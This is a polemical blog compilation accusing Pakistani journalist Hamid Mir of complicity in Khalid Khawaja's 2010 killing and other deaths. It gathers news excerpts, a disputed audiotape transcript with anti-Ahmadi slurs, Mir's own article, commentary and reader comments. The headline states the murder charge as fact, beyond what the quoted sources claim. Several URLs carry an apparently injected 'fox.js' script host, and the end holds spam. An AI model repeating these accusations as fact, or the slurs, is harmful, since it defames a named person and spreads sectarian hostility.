Hamid Mir, the murderer!
Hamid Mir, Jang Group/Geo TV’s star anchor and columnist, is not only known for sympathetic views for Deobandi and Salafi terrorists (Al Qaeda, Taliban, Sipah-e-Sahaba aka ASWJ), he also played a direct and indirect role in the murder of some individuals and communities, which is outlined below.
Journalist Saleem Shahzad’s murder (May 2011)
The ISI told the commission that Shahzad kept his contact with them to the last, which, they said, proved he did not feel threatened by the agency! Their assertion that Al Qaeda could have killed Shahzad was backed by their taped conversation with another journalist, Hamid Mir, who “condemns Saleem Shahzad [as] being a dubious case [and] laments Americans for their extraordinary interest in this case.” The ISI sought to prove that Al Qaeda commander Ilyas Kashmiri and his agents, whom Shahzad’s reports revealed as his main sources of information, could have killed him. (Source)
Massacre of 86 Ahmadi Muslims in Lahore (May 2010)
Initial reactions to the terrorist attack on two Ahmadi mosques in Lahore in May 2010 focused on the official and popular bigotry against the Ahmadi sect in Pakistan. Intolerance towards the Ahmadi community is being seen as the explanation behind the massacre of worshippers, allegedly and by their own admission, by the Tehrik-e-Taliban Pakistan, and the ‘Punjab wing of al-Qaeda’. While that narrative explains why the Ahmadis were targeted at all, it does not answer the important question of “why now?” Ahmadis have been victims of official discrimination, political violence and popular invective for as long as Pakistan has existed. ‘Sectarian’ terrorist groups like the Sipah-e-Sahaba Pakistan (SSP) and the al Qaeda-linked Lashkar-e-Jhangvi (LeJ) have not only been in existence for a long time but are political allies of the Pakistan Muslim League-Nawaz (PML-N), the party that is in power in Punjab province.
Organisations like these had the capability and the motives to massacre Ahmadis all this while, but until yesterday, the violence was ‘below the radar’. There is a need, therefore, to look beyond religious bigotry as the immediate cause of yesterday’s violence.
The attacks could have been triggered by the allegation—by Pakistani journalist Hamid Mir—that the controversial Khaled Khawaja was, among others, working for the Ahmadis. Because Mr Mir’s words were widely publicised it is possible that hotheads in one or more of the militant groups decided to deliver a violent response. While this has happened in the past—as when a television personality’s anti-Ahmadi vitriol triggered a lynching—it was never on this scale. (Source)
Khalid Khwaja’s murder (30 April 2010):
The Pakistani Inter-Services Intelligence are said to be investigating what role Hamid Mir has played in the assasination of Retd Squadron Leader Khalid Khawaja, who was kidnapped by a shadowy outfit calling itself the ‘Asian Tigers’, part of the Pakistani Taliban (TTP).
The shocking audiotape of a conversation between Hamid Mir – one of the country’s top TV anchors – and a man purportedly linked to the Tehreek-e-Taliban Pakistan, has revealed that negative information that Mir passed on to the Taliban could have led to the execution of Khalid Khawaja, the retired Air Force official allegedly killed by a group calling themselves the ‘Asian Tigers’.
The tape – which has Mir divulging dirt on Khawaja, ostensibly to someone who is going to cross examine him – was first posted by the Let Us Build Pakistan blog, and picked up by other online publications. It is still unclear who made the tape, with online speculation suggesting that it could be the militants themselves, or even intelligence agencies who released the recording.
Whatever the source may be, it is clear that one of the voices on the tape is Mir’s, a fact corroborated by his allusions to events such as his sacking from the daily Ausaf. In the tape, the person on the other end asks Mir for information on Khalid Khawaja. The content of the conversation suggests that this call was made before Khawaja’s execution earlier this month. Mir goes on to detail what he knows about Khawaja’s background, linking him to the CIA, an international network of Qadianis and an American named Mansur Ejaz, who, Mir claims, even offered to solve the Kashmir issue.
At one point, the voice on the other end claims to have abducted Khawaja. Here, Mir volunteers further information linking Khawaja to the Lal Masjid operation, saying that Khawaja and his wife were the ones responsible for the death of Ghazi Rasheed and the humiliating capture of Maulana Abdul Aziz and his family. Mir then urges the man to cross-examine Khawaja about his relationship with Mansur Ejaz, Qadianis and a CIA agent named William Casey.
Mir also mentions Javed Paracha – the Kohat-based PML-N lawmaker who offered to mediate Khawaja’s release. Towards the end of the tape, the voice on the other end says that he will relay the information (that Mir has given) to Hakeemullah Mehsud. (Source)
“Hamid Mir is Number 1 Enemy of Pakistan” Says Son of slain ISI-operative Khalid Khawaja
Hamid Mir’s audiotape (made public by the ISI on 13-14 May 2010, the conversation took place in April 2010 before Khalid Khawaja’s murder)
http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/10918
Transcript of Hamid Mir’s conversation with a Punjabi Taliban (Lashkar-e-Jhangvi) terrorist:
HM: Khalid Khawaja, according to my opinion, is not an ISI man, rather he is a CIA agent, an American CIA agent and he has links with the Taliban leadership.
UM: Yes, he met with Hakimullah and others when he came here last time.
HM: I personally know that Khalid Khawaja has links not only with CIA but he is also a front man of Mansoor Ijaz who belongs to a very big international network of Qadiyanis. Once he came to me along with Mansoor, who had a briefcase with him, and Khalid Saab told me that Mansoor is a key representative of the US government, so arrange his meeting with Syed Salahuddin, who is a mujahideen leader, and he along with him would resolve the Kashmir issue.
UM: All right.
HM: But I asked him what charm or magic lamp does he posses for the resolution of the Kashmir dispute. He said he had links with the Indian government and (Atal Bihari) Vajpayee Jee, which surprised me. I didn’t arrange the meeting, but I asked Mr Salahuddin who said Khalid Khawaja is sending messages that you should directly talk to India and the US on the issue and exclude Pakistan from it.
UM: All right, all right.
HM: After that, Mansoor Ijaz also asked me: Are you with us or not? I said, “I am not with you.” Then he conspired against me and got me sacked from the Daily Ausaf when I was its editor. So, I think Khalid Khawaja not only has links with the CIA but he is also an agent of the Qadiyanis, and I am very sad that he used to go to the Tribal Areas and meet leaders there.
HM: He (Khawaja) himself has confessed in front me that he had links with William Casey. Ok! Leave William, ask him about the Qadiyanis, because I personally believe that Qadiyanis are worse than infidels, what kind of links does he have with Qadiyanis? What relationship does he have with Mansoor Ijaz? Why does he use his money? Why does he go everywhere with him when he comes to Pakistan? Why does he bring him to the mujahideen?
Appendix: Analysis by Dr Ayesha Siddiqa
http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&ayeshasiddiqa.blogspot.co.uk/2010/05/did-hamid-mir-have-conversation-with.html
Investigations on into Hamid Mir’s links with Taliban
PTI May 20, 2010, 11.27am IST
ISLAMABAD: Pakistan’s Jang media group has formed a committee to ascertain whether well-known TV anchor Hamid Mir had been taped speaking with a Taliban operative even as media reports said intelligence agencies had confirmed the authenticity of the recording.
Mir has been at the centre of a controversy over the past week after several websites uploaded a 13-minute conversation he purportedly had with a Taliban operative.
In the tape, Mir and the militant discuss the activities of former Inter-Services Intelligence officer Khalid Khwaja, who was recently abducted and killed by the Asian Tigers, a group of Punjabi Taliban.
The Jang media group said in a statement published today in its The News daily that it had set up a committee “to get detailed information” on the issue.
“For credible investigation, the committee has called upon professional journalist organisations to come forward to uncover the truth,” the statement said.
Members of the committee held talks with Mir, who “disowned the voice (said to be his) and termed the audiotape fabricated,” the statement added.
Mir said he would cooperate in the investigation so that the truth is unearthed. Mir claimed “some people want to ostracise him from the profession and they are defaming him as part of a conspiracy.”
However, several TV news channels quoted sources as saying that three intelligence agencies had confirmed the authenticity of the recording after a detailed investigation.
The sources said the intelligence agencies, including the ISI, had submitted a report on the matter to Prime Minister Yousuf Raza Gilani.
“The conversation between Hamid Mir and the Taliban militant is original and has been proved by the audiotape,” the TV channels quoted the report as saying.
Senator Faisal Raza Abidi of the ruling Pakistan People’s Party too said the government had verified the authenticity of the voices on the tape through intelligence agencies.
He said the recording “proved Hamid Mir’s links with the Taliban.”
The Daily Times newspaper, which first reported on the tape, has said that information passed on by Mir to the Taliban “could have led to the execution” of former ISI official Khalid Khwaja.
Ads by Google
Join the Reserve Forces
Become an armed forces reservist. It’s your spare time, transformed.
http://www.mod.uk/reserves
Osama Khalid, the son of Khwaja, has said that he will take legal action and register an FIR against Mir for “playing an instigative role in his father’s murder.”
Talking to BBC Urdu, Khalid said the unidentified Taliban operative in the recording was Usman Punjabi who used the alias of Muhammad Omar while talking to journalists.
Khalid rejected Mir’s claims that the recording was doctored, saying the tape was original and he would prove it in court.
He demanded a judicial inquiry into the matter and asked journalists to kick “black sheep” out of the profession.
Meanwhile, Daily Times editor Rashed Rahman said legal action must be initiated against Mir after the ISI and government confirmed the authenticity of the taped conversation between the talk show host and a Taliban militant.
“The Daily Times initiated self-accountability in the media by publishing a transcript of the taped conversation between Mir and an unidentified Taliban militant,” he said, adding several people had contacted his media group with evidence against Mir.
http://articles.timesofindia.indiatimes.com/2010-05-20/pakistan/28300329_1_intelligence-agencies-media-group-punjabi-taliban
What was the last mission of Khalid Khwaja?
By Hamid Mir
ISLAMABAD: The last mission of ex-ISI officer Khalid Khwaja failed but his assassination exposed many hidden secrets, including differences between the Afghan Taliban and the Pakistani Taliban, and has put a spotlight on his highly complex underworld life, as a mediator, sometimes on behalf of the Americans, a power-broker, a mover and shaker besides an ardent Islamic preacher.
Squadron Leader (retd) Khalid Khwaja had been playing an active behind-the-scene role in domestic politics of Pakistan for the last 22 years. He became an important international player 11 years ago when he first tried to establish direct links between the Kashmiri militants and the Clinton Administration but failed.
He had been trying to establish direct contacts between the USA and the Taliban for the last five years. He also tried to mediate between the Pakistan Army and the Taliban many times in the last two years but all his efforts failed due to lack of trust between him and the current military leadership of Pakistan. His known contacts with some former CIA officials and an American businessman Mansoor Ijaz also created problems for him. He was intelligent enough in maintaining links with Americans and their critics like Hameed Gul at the same time but unfortunately he could not anticipate the seriousness of his adversaries, who did not miss any opportunity to strike against friends and foes alike.
He was sacked from the ISI on the direct orders of General Ziaul Haq in 1987 but he remained active with the ISI even after his sacking. He was the right hand man of former DG ISI Hameed Gul in 1988 and played a significant role in the making of the anti-PPP political alliance, the Islami Jamhoori Ittehad (IJI).
He claimed that he arranged a meeting between Osama bin Ladin and Nawaz Sharif in Saudi Arabia in 1989. He made this revelation just a few weeks before the dismissal of Nawaz Sharif government in 1999. Khalid Khwaja tried to convince Nawaz Sharif not to support Asif Zardari as president in August 2008 but the PML-N leader did not listen to him.
Khalid Khwaja was assassinated by a group of Punjabi Taliban on April 30 near Mir Ali in North Wazirastan. He was kidnapped on March 26 along with another former ISI official Col (retd) Ameer Sultan and a British born Pakistani filmmaker Asad Qureshi. An unknown group of Punjabi Taliban, with the name of Asian Tigers, alleged that Khalid Khwaja was working for the ISI and the CIA but that was not the main reason behind his killing.
A few weeks before his abduction, he met Taliban leader Waliur Rehman Mehsud in North Waziristan and handed over a list of some militants and alleged that they were working for Indian spy agencies. Within a few hours of that meeting, the vehicle of Waliur Rehman was attacked by a US drone but the Taliban commander survived. Waliur Rehman immediately informed the Punjabi Taliban to be careful about Khwaja, who then decided to trap him.
A spokesman for Punjabi Taliban hinted on Saturday that “charges against Col Imam are not strong and we may release him”. He also admitted that the Afghan Taliban were also putting pressure on the Punjabi Taliban to release the former ISI colonel.
While talking to this scribe on phone from North Waziristan, the spokesman reacted to the statement of Khalid Khwaja’s wife, who declared that her husband was a martyr because he was killed by some criminals.
The spokesman for the Punjabi Taliban said that both Mr and Mrs Khalid Khwaja played an active role in Lal Masjid tragedy in July 2007. They forced late Abdul Rashid Ghazi not to surrender but disappeared when the operation started.
Some friends of Khalid Khwaja, however, tell a different story. They say that Khwaja was arrested just a few days before the operation in Lal Masjid but they also admit that Khwaja was not supporting the surrender.
It is also learnt that Khalid Khwaja was investigated by a three-member committee of the militants for more than four weeks. Initially, Khwaja claimed that he had moved a petition in the Lahore High Court against the drone attacks along with former PML-N MNA Javed Ibrahim Paracha and he came to North Waziristan for recording the statements of drone victims to be produced in the court on April 6.
The militants confronted him as to why on the one hand he was opposing the drone attacks but on the other hand he was trying to establish contacts between the USA and the Taliban. The militants claimed that he arranged a meeting between US Under Secretary of State Karen Hughes and a religious cleric Javed Ibrahim Paracha in 2005 in Serena Hotel, Islamabad. They also produced some articles downloaded from the Internet and asked about his links with former CIA officials, James Woolsey and William Casey.
Khwaja had met these former CIA officials through an American businessman Mansoor Ijaz, who was very close to the Bill Clinton administration. Ijaz played a key role in forcing the Sudanese government to expel Osama bin Ladin from Khartoum in 1996 and helped Khwaja to establish direct links between the Taliban and the Bush administration in October 1999 when he wanted Mulla Omar to meet James Woolsey to avert an American attack on Afghanistan. Mulla Omar refused to meet the then CIA leader.
Next year, Khalid Khwaja tried to fix a meeting between American businessman Mansoor Ijaz and Kashmiri militant leader Syed Salahuddin. Khwaja contacted Salahuddin through his friends in Jamaat-e-Islami and informed him that Mansoor Ijaz wanted to deliver a letter from Bill Clinton. Syed Salahuddin came to know that Mansoor Ijaz had meetings with Indian Army officials in Srinagar in early 2000 and also with then Pakistani President Pervez Musharraf. He smelled a rat and refused to meet Mansoor Ijaz. Shortly after these attempts by Ijaz, a ceasefire was announced by a rebel Kashmiri militant commander Abdul Majid Dar in July 2000 but it failed. Majid Dar was assassinated after sometime in Kashmir.
Khalid Khwaja was arrested in 2002 after the murder of American journalist Daniel Pearl in Karachi. Khwaja had exchanged some e-mails with Pearl just a few days before his killing. Later, Marianne, the widow of Pearl, informed investigators that Pearl contacted Khwaja through Mansoor Ijaz and he only tried to help her husband in obtaining the contact numbers of some militants. Khwaja was released after a few weeks.
He surfaced again in 2005 when he gave an interview to a foreign newspaper and claimed that he was instrumental in arranging funds for a training camp established by a politician from Rawalpindi for Kashmiri militants. The same year he arranged a meeting of an MMA parliamentarian Shah Abdul Aziz, a religious leader from Kohat Javed Ibrahim Paracha and a pro-Taliban businessman Arif Qasmani with some top US officials, including Karen Hughes.
Javed Paracha confirmed that meeting to The News on Saturday and said that it was arranged by Khalid Khwaja. He said: “I was offered a huge amount of money for talking to the Taliban on behalf of the US government, but I told the Americans that first the Pakistan Army must give me a green signal and then I will proceed but Americans were acting on their own and the talks broke down.”
Javed Paracha also said that Khalid Khwaja came to his home on March 25 with Col Imam and a British journalist. Khawja wanted me to help him in his visit to North Waziristan. He said, “May be Khwaja was again trying to establish communication lines between the Americans and the Taliban but I received a clear message from Taliban that your friend is not welcome.”
Paracha claimed that he advised Khwaja not to go there. He said: “I also requested Col Imam not to take the risk. Col Imam was reluctant but Khwaja insisted and they left for Mir Ali against my advice.”
Both Javed Paracha and Khalid Khwaja had close relations with Lal Masjid clerics in 2007. Paracha met Maulana Abdul Aziz and Abdul Rashid Ghazi along with then Federal Minister Ejazul Haq and requested them to surrender. Khalid Khwaja advised Lal Masjid clerics otherwise.
Khwaja became very active in August 2008 when he contacted PML-N leaders and asked them to file a petition against the participation of Asif Ali Zardari in the presidential election. According to PML-N leader Senator Pervez Rashid, “Khalid Khwaja offered us that Nawaz Sharif should file a petition against Zardari and he will manage a Supreme Court verdict against Zardari within 24 hours but we refused to play in the hands of Khwaja.”
Khwaja had played a very active role against the government of Nawaz Sharif in 1999. He claimed in front of some JUI-F leaders that Nawaz Sharif took money from Osama bin Ladin in 1989 and promised that he would not act against Arab militants after coming into power. Those were the days when Americans were putting pressure on Nawaz Sharif to start operations against the Arabs living in Pakistan. The JUI-F and the JI started a mass campaign against Nawaz Sharif and within a few weeks his government was toppled.
This scribe tried to confirm the claim of Khalid Khwaja from Osama bin Ladin in November 2001 but he never confirmed it. Khwaja told American TV channel ABC in November 2007 that he had arranged a meeting between Nawaz Sharif and Osama bin Ladin in the Green Palace Hotel of Madina in 1989 just a few weeks before the no-confidence move against Benazir Bhutto. Osama was reported to have agreed to provide him some money.
US officials investigated this claim from many al-Qaeda operators arrested after 9/11 but only one, Ali Muhammad, told the FBI that a meeting between the representatives of Osama and Nawaz Sharif took place long ago in Saudi Arabia. He never confirmed a direct meeting between the two. Osama bin Laden never liked these claims of Khalid Khwaja who always claimed to be a friend of Osama. Khwaja had no meeting with Osama bin Laden in the last 20 years but he always claimed to be a friend of Osama.
Khwaja and Shah Abdul Aziz met Taliban leader Baitullah Mehsud in early 2009. They convinced Baitullah to write a letter to General Ashfaq Parvez Kayani for a ceasefire. The Pakistan Army leadership never trusted Baitullah Mehsud and this effort failed.
Khalid Khwaja filed many petitions in superior courts in his last days. One of them was against the constitutional immunity for the president. His political role is still a mystery. His friends claim that he definitely had relations with some Americans but he was not a CIA agent.
Sources in the military establishment said that he had no mandate of the Pakistan Army for talking to the militants. Some sources said that Khalid Khwaja was used by the Pakistani establishment against Nawaz Sharif and Benazir Bhutto many times but he was not trusted in his last days.
The whole drama of his kidnapping and assassination exposed the internal differences of many Taliban groups. A powerful Taliban commander of North Waziristan, Hafiz Gul Bahadar, tried his best to rescue Khwaja but failed due to his limited influence in Mir Ali. This area is mostly populated by Dawars but these days Mir Ali is controlled by Mehsud militants who have provided sanctuaries to different groups of the Punjabi Taliban, including some Kashmiris, who have developed differences with Pakistani establishment after the ban on many outfits during the last few years. These disgruntled militants don’t listen to Hafiz Gul Bahadar and Sirajuddin Haqqani group, which is influential in the areas close to Miramshah.
It is also interesting that these Punjabi Taliban have no respect for staunch US critics like General Aslam Beg and Hameed Gul just because they don’t support bomb blasts in Pakistan.
2 May 2010
Khalid Khwaja’s murder: Is Hamid Mir and Mir Shakil-ur-Rehman’s arrest likely?
http://criticalppp.com/archives/11459
Hey Nishapuri,
Hamid Mir loves you
🙂
Hamid Mir: You have innocent people’s blood on your hands!
An ISI-friendly foreign journalist Omar Waraich has been tasked to promote Hamid Mir as anti-ISI in order to repair Hamid Mir’s lost credibility.
Omar Waraich presents three anti-ISI heroes of Pakistani media
https://pakistanblogzine.wordpress.com/2011/09/14/omar-waraich-presents-three-anti-isi-heroes-of-pakistani-media/
Why was khalid khawaja murdered?
We all know that an unknown group “Asian Tigers” claimed to have kidnapped kk along with col. imam and a journalist asad qureshi. Only kk was killed and his dead body was found. The above article from Hamid Mir tells a lot about kk’s past and his role in pak politics, but his recent outbursts about Nawaz Sharif taking money from ISI in conspiracy against democratic process has been overlooked. Hamid Mir has mentioned KK’s petition against Zardari’s immunity but has not talked about KK’s recent revelations about Nawaz Sharif on Media and his challenge to NS for proof. The most obvious inference from Khalid Khawaja’s revelation is that MIAN Nawaz Sharif wanted to eliminate Benazir Bhutto and he used all means for this purpose. Khalid Khawaja might have been eliminated so that he would not divulge the real perpetrators of BB’s assassination.
I second Saba on this. The safety of journalists is a serious issue in our country. That’s the reason why, Pakistan was declared as the most dangerous country for journalists in 2011. IEDs have already claimed thousands of lives in the country, including journalists. There is a dire need to regulate the trade of such commodities that can be employed in the manufacturing of IEDs.
Everybody in this country is vulnerable to terrorists. Terrorists are now using improvised explosive devises which is killing hundreds of innocent people.
I do trust all the concepts you’ve presented in your post. They’re really convincing and will definitely work. Nonetheless, the posts are too short for novices. May you please lengthen them a little from subsequent time? Thank you for the post.
Isn’t this shady character, Mr. Hamid Mir, the new hero for Pakistan’s elite or “liberals” as they like to be called these days. From Mosharaf Zaidi to Najam Sethi to his proteges like Ejaz Haider and Raza Rumi, all are lining up to make deeper contacts with the US State Department (our civilian bureaucracy) and current Obama administration. They are heavily promoting Jinnah Institute by which they want the United States to do the dirty work for the ISI and accept Haqqani Network and Mullah Omar to rule Afghanistan after US leaves.
Hamid mir is a bastard!!!!
Sunday, May 16, 2010
Did Hamid Mir have a Conversation with the TTP?
— by Dr Ayesha Siddiqa
The Story
A popular Pakistani journalist Hamid Mir is caught on audio talking to a member of a Taliban group popularly known as the TTP. http://criticalppp.org/lubp/archives/10918
Mir and his friends blame the Zardari government especially the Punjab (largest province of Pakistan) governor Salman Taseer for a conspiracy since his paper publish the story. Here’s my analysis:
Is the man conversing with, whats alleged as a member of the Punjabi Taliban, Hamid Mir? The simple answer is yes. The man in the tape is Hamid Mir beyond doubt. The voice and style of conversation is his. I have had conversations with him on several occasions and he breaks stories in this very style. The conversation should not surprise people as Hamid Mir has old links with the Islamiscts and the intelligence agencies. In the world of the armed forces information is difficult to access. Relatively better access to information comes at a price which Hamid Mir and many other journalists in the world, particularly Pakistan pay happily. There is not a single journalist, especially on the electronic media who comments on national security and is not fed by the military. I remember one very popular journalist who even writes for foreign press. He is considered an authority on military affairs. The poor chap cannot tell the front of a submarine from its back. Planting people in the media and intelligentsia is an old trick. The only matter of concern really is that how and why is the audio recording made available on the net? The real story is the disclosure rather than the conversation.
This telephone conversation could have been tapped by several intelligence sources including the ISI, MI and IB and the question is which one leaked it and why. Is there anything interesting happening between the PPP government and Hamid Mir due to which the conversation was leaked? The other possibility is that one of the army-run agency leaked it. The first explanation is that they wanted to deflect attention from themselves on Hamid Mir. It seems from the conversation as if Mir caused Khalid Khwaja’s death by instigating the alleged Punjabi Taliban. The insistence on KK’s links with Ahmedis and Americans could do the trick of inciting the Taliban against KK. But I am sure that was not Hamid Mir’s intent. He was just trying to show-ff to the Taliban the superiority of his information. Such show-off comes with the territory that he operates in. But the conversation was then conveniently leaked so that it may appear as something in which the intelligence agencies had no involvement thats is in the killing of KK.
The other explanation is that the conversation indicates some chasm within the intelligence establishment. The conversation basically signifies the presence of multiple groups within the intelligence agencies. There are, at least, three ideological groups within the agencies: (a) the Islamiscsts, (b) the pro-West, and (c) pro-China. These groups exert influence and lobby for their perspective. This means that the flow of information to the top brass is conditioned by the ideological bias of the groups. The information-intelligence is then measured against the policy perspective of the top leadership of the army. Thus, Hamid Mir is not the only journalist working for the agencies. There are others as well. The case in point pertains to that of a female journalist who is dealt with by the external security wing of the ISI. Each ISI division has its own set of journalists. This lady was eventually encouraged by the agencies and the army chief to build familial links with Indian politician through marriage. Her marriage with a famous Indian political figure was made in the GHQ.
But going back to Hamid Mir, his conversation reflects the bias of Pakistan’s establishment. There is nothing which he says that is annoying by the establishment’s standards. The state has a bias against its minorities which reflects in the conversation. Lets not forget that the Hamid Mir conversation is just the end result of years of Jamaat’s infiltration in the establishment. It were during the Zia years (1977-81) that more than 800 changes were made in the text books by a board that pre-dominantly represented the Jamaat. Today, the establishment is essentially Islamisct. The dealings with the US or even China reflect the military’s utilitarian approach. It will happily use any of these states to build itself. Most countries behave this way. The name of the game is realpolitik which focuses on power of the state rther than power of the people. The Pakistani state had begun to steer towards Islamism at a very early stage after its creation. Naturally, the ideology rubbed on different elements in the society as well. This is what we can see in Hamid Mir’s conversation.
Khalid Khwaja was always with the ISI. He may have been steered by the pro-West elements within the ISI to negotiate some deals with the TTP. There are also rumors that during one of his previous visits, he was suspected of planting an intelligent devise for the US to locate one of the TTP leaders. The discussion of his involvement in misleading Maulana Abdul Aziz does not make sense because Abdul Aziz led his funeral prayers. There is something that doesn’t make sense in the story. Whats more important to remember are that the jihadis (aka Pakistani Taliban) are well-entrenched in Pakistan’s intelligence system and even its establishment. No wonder, Pakistan’s courts have been acquitting jihadis like Lashkare Jhangavi’s Malik Ishaq. Recently, the courts acquitted those accused of involvement in the Marriott bombing case and the suicide attack against Lt. general Mushtaq Baig. These decisions could have been changed if the agencies were willing to sort out the jihadis. The segment within the agencies which supports jihad and jihadis has now strengthened. The army and its intelligence agencies now have a dependence on these jihadis. The questions which many ask is that why get their men killed. This is nothing new. There was similar friction in the case of the Algerian military and the Islamiscts. The reason that this particular battle in Pakistan is contained to a few people is because of the influence of the Islamiscts on the army.
(see: http://thenews.jang.com.pk/top_story_detail.asp?Id=28677
and http://www.dawn.com/wps/wcm/connect/dawn-content-library/dawn/news/pakistan/16-court+acquits+nine+terror+suspects-hs-05)
Posted by Ayesha Siddiqa at 8:54 AM
Reactions:
9 comments:
Asif ShakoorMay 18, 2010 at 9:44 PM
Dear Ayesha,
Hamid Mir is wrongly pointing finger at PPP government, Daily Time(Salman Taseer) and LUBP as audio-tape was first posted at Facebook on ISI’s page !!!!!
And before LUBP (http://criticalppp.org) this audio-tape was posted on many blogs including PkPolitics !!!!
http://pkpolitics.com/discuss/topic/hamid-mir
Hamid Mir, the murderer!
aozhwehthmw
ozhwehthmw http://www.g94cws42971h41ux3hwcu5i05s3b44was.org/
[url=http://www.g94cws42971h41ux3hwcu5i05s3b44was.org/]uozhwehthmw[/url]
シャネル 風、
miumiu 青山 沖縄
kipling new 2015
ディーゼル ボタン鞄
コーチ 47996
ヴィヴィアン 大須
アルマーニ 財布 彼氏
サマンサ 仙台 福袋